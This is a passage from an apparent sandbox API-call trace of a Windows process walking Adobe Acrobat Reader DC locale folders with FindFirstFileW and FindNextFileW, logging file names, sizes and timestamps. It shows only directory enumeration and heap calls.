ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x280a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.396] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.396] GetProcessHeap () returned 0xc10000 [0250.396] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.396] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0250.396] GetProcessHeap () returned 0xc10000 [0250.396] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.397] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.397] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.397] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.397] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.397] GetProcessHeap () returned 0xc10000 [0250.397] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.397] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0250.398] GetProcessHeap () returned 0xc10000 [0250.398] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.399] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.399] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.400] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.400] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.400] GetProcessHeap () returned 0xc10000 [0250.400] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.400] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0250.400] GetProcessHeap () returned 0xc10000 [0250.400] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.400] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.401] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.402] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2920, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.402] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2920, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.402] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.402] GetProcessHeap () returned 0xc10000 [0250.402] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.402] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0250.402] GetProcessHeap () returned 0xc10000 [0250.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.402] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.403] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.403] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.403] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.403] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.403] GetProcessHeap () returned 0xc10000 [0250.403] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.404] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0250.404] GetProcessHeap () returned 0xc10000 [0250.404] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.404] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.404] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.404] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.405] GetProcessHeap () returned 0xc10000 [0250.405] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.405] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0250.405] GetProcessHeap () returned 0xc10000 [0250.405] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.405] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.405] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.405] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.406] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.406] GetProcessHeap () returned 0xc10000 [0250.406] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.406] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0250.406] GetProcessHeap () returned 0xc10000 [0250.406] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.406] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.407] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.407] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.407] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.407] GetProcessHeap () returned 0xc10000 [0250.407] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.407] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.407] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0250.407] GetProcessHeap () returned 0xc10000 [0250.407] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0250.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39fb, dwReserved0=0x0, dwReserved1=0x0, 